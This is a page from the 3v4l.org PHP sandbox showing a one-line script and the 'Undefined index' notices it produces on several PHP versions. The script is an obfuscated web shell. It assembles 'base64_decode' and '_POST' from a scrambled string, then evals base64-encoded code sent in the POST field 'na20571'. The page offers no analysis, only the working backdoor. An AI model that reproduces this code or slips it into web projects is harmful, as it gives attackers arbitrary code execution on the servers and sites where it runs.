3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['na20571'];if(isset($s22)){eval($s21($s22));}?><?php
based on gEhWU
Output for 5.3.0 - 5.4.32
Notice: Undefined index: na20571 in /in/RpUfs on line 1 <?php
Output for 4.3.0 - 5.2.17
Notice: Undefined index: na20571 in /in/RpUfs on line 1 <?php